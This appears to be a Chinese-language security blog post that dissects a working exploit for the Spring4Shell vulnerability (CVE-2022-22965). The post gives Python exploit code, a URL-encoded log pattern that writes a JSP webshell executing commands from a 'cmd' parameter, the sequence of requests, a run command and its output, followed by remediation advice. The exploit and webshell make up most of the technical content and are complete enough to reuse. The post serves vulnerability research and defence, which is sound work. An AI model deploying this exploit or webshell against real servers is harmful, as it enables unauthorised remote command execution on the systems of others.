python

CVE-2022-22965 Spring4Shell RCE漏洞利用——从原理到EXP实现

2026-07-06 #CVE#POC#漏洞利用

本文仅供合法授权的安全研究与学习使用,请勿用于非法用途。读者应确保行为符合当地法律法规。

前言

2022年3月底,Spring框架爆出了震惊整个Java安全圈的CVE-2022-22965漏洞,被业界称为”Spring4Shell”。这个漏洞利用了Spring框架参数绑定机制中的缺陷,通过精心构造的请求参数,攻击者可以操纵Tomcat底层日志配置,最终写入恶意JSP WebShell,实现远程代码执行。

作为一名安全研究人员,深入理解这个漏洞的利用链路对于防御类似攻击至关重要。本文将基于真实的EXP源码,从漏洞原理到代码实现,进行完整的剖析。

漏洞背景

属性 详情
CVE编号 CVE-2022-22965
漏洞类型 远程代码执行(RCE)
CVSS评分 9.8(Critical)
影响框架 Spring Framework 5.3.0-5.3.17, 5.2.0-5.2.19
漏洞根因 Spring MVC参数绑定机制允许访问ClassLoader内部属性

Spring框架的DataBinder机制会自动将HTTP请求参数绑定到Java对象属性上。当参数路径中包含class.module.classLoader时,Spring会递归地通过反射访问对象的ClassLoader属性链,最终触及Tomcat的WebappClassLoader。而Tomcat的ClassLoader内部持有AccessLogValve对象,攻击者可以通过修改日志配置,将日志输出为.jsp文件,并在日志内容中注入JSP代码,从而实现WebShell写入。

环境搭建

  • 靶机环境:Spring Boot 2.5.x + 内嵌Tomcat 9.x,运行在JDK 9+环境中
  • 攻击环境:Python 3.x + requests库
  • 网络要求:攻击机可访问目标Web服务

JDK 9+是关键前提,因为JDK 9引入了模块系统(Module),使得class.getModule()方法可用,这是整个利用链的入口点。

POC/EXP实现思路

整个EXP的利用流程分为四个阶段:

  1. 重置日志变量:清除fileDateFormat字段,允许多次执行漏洞利用
  2. 修改日志配置:通过POST请求注入恶意参数,设置日志文件的目录、文件名、后缀和内容模板
  3. 触发日志写入:发送GET请求,Tomcat记录访问日志时将恶意JSP代码写入文件
  4. 清理痕迹:重置日志pattern字段,防止后续日志继续写入恶意内容

EXP的核心在于构造参数绑定链:class.module.classLoader.resources.context.parent.pipeline.first,这条链从Spring的参数绑定出发,经由Java模块系统→ClassLoader→Tomcat内部资源→Context→Pipeline→AccessLogValve,最终到达Tomcat的访问日志阀门对象。

核心代码解析

请求头构造

1
2
3
4
5
6
7
8
9
10
11
12
# 定义 POST 请求头,指定内容类型为表单数据
post_headers = {
"Content-Type": "application/x-www-form-urlencoded"
}

# 定义 GET 请求头,包含用于绕过检查的特殊前缀和后缀
get_headers = {
"prefix": "<%",
"suffix": "%>//",
# 该字段设置为 "Runtime" 是为了绕过某些检查机制
"c": "Runtime",
}

GET请求头中的prefixsuffix会被日志pattern中的%{prefix}i引用,最终在生成的JSP文件中拼接为<% ... %>的JSP代码块。c字段设为Runtime,对应payload中的%{c}i,将在JSP中被替换为Runtime字符串,用于调用Runtime.getRuntime().exec()

恶意日志Pattern构造

1
2
3
4
5
6
def run_exploit(url, directory, filename):
# 构建日志模式字符串,用于注入恶意代码
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

URL解码后,这个pattern实际上是:

1
%{prefix}i java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i

当Tomcat记录访问日志时,%{prefix}i会被替换为请求头中prefix的值<%%{c}i替换为Runtime%{suffix}i替换为%>//。最终写入日志文件的内容就是一段完整的JSP代码:

1
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %>//

日志文件配置

1
2
3
4
5
6
7
8
# 设置日志文件的后缀为 .jsp
log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
# 设置日志文件存储的目录
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
# 设置日志文件的前缀,即生成的文件名
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
# 清除日志文件日期格式配置
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

这四个参数分别控制AccessLogValve的:

  • suffix:日志文件后缀,设为.jsp使其被当作JSP执行
  • directory:日志存储目录,默认指向webapps/ROOT
  • prefix:日志文件名前缀,即WebShell的文件名
  • fileDateFormat:日期格式后缀,清空以避免文件名中出现日期

利用执行流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 重置 fileDateFormat,允许多次执行
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
print("[*] 重置日志变量.")
ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
print("[*] 响应代码: %d" % ret.status_code)

# 修改 Tomcat 日志配置
print("[*] 修改日志配置")
ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
print("[*] 响应代码: %d" % ret.status_code)

# 等待配置更改生效
time.sleep(3)

# 发送GET请求触发日志写入WebShell
ret = requests.get(url, headers=get_headers, verify=False)
print("[*] 响应代码: %d" % ret.status_code)

整个利用流程发送三个HTTP请求:

  1. POST请求1:重置fileDateFormat_,防止Tomcat因文件已存在而拒绝写入
  2. POST请求2:一次性提交所有日志配置参数,修改日志文件的路径、名称、后缀和内容
  3. GET请求:携带恶意header访问目标,Tomcat将请求记录到日志中,由于日志文件后缀为.jsp且内容包含JSP代码,WebShell即被创建

命令行参数

1
2
3
4
5
parser = argparse.ArgumentParser(description='SpringBoot CVE-2022-22965 EXP')
parser.add_argument('--url', help='目标 URL', required=True)
parser.add_argument('--file', help='要写入的文件名 [不带扩展名]', required=False, default="shell")
parser.add_argument('--dir', help='要写入的目录。建议使用目标应用的 "webapps/[appname]"',
required=False, default="webapps/ROOT")

EXP支持三个参数:目标URL、WebShell文件名和写入目录。默认情况下,WebShell会被写入webapps/ROOT目录,即Tomcat的根Web应用目录。

漏洞验证与利用效果

执行以下命令发起攻击:

1
python exploit.py --url http://target:8080 --file shell --dir webapps/ROOT

输出结果:

1
2
3
4
5
6
7
8
9
[*] 重置日志变量.
[*] 响应代码: 200
[*] 修改日志配置
[*] 响应代码: 200
[*] 响应代码: 200
[+] 漏洞利用完成
[+] 检查目标上的 shell 文件
[+] 文件名: shell.jsp
[+] Shell 应该位于: http://target:8080/shell.jsp?cmd=id

访问http://target:8080/shell.jsp?cmd=id即可执行系统命令,成功验证RCE漏洞。

修复建议

  1. 升级Spring框架:升级至5.3.18+或5.2.20+版本,新版本已禁用class.module的参数绑定
  2. 配置disallowedFields:在Controller中显式禁用危险字段:
1
2
3
4
@InitBinder
public void setDisallowedFields(WebDataBinder binder) {
binder.setDisallowedFields("class.*", "Class.*", "*.class.*", "*.Class.*");
}
  1. WAF防护:在Web应用防火墙中拦截包含class.module.classLoader的请求参数
  2. 降级JDK:在不影响业务的前提下,使用JDK 8可以阻断class.getModule()调用链

总结

Spring4Shell漏洞的精妙之处在于它将Spring的参数绑定机制与Tomcat的日志系统巧妙串联,形成了一条从HTTP请求参数到JSP WebShell写入的完整攻击链。通过分析这个EXP的实现,我们可以深刻理解Java框架中参数绑定安全的重要性。在实际安全评估中,检查应用是否存在未限制的参数绑定、是否暴露ClassLoader内部属性,是发现类似漏洞的关键。

评论
分享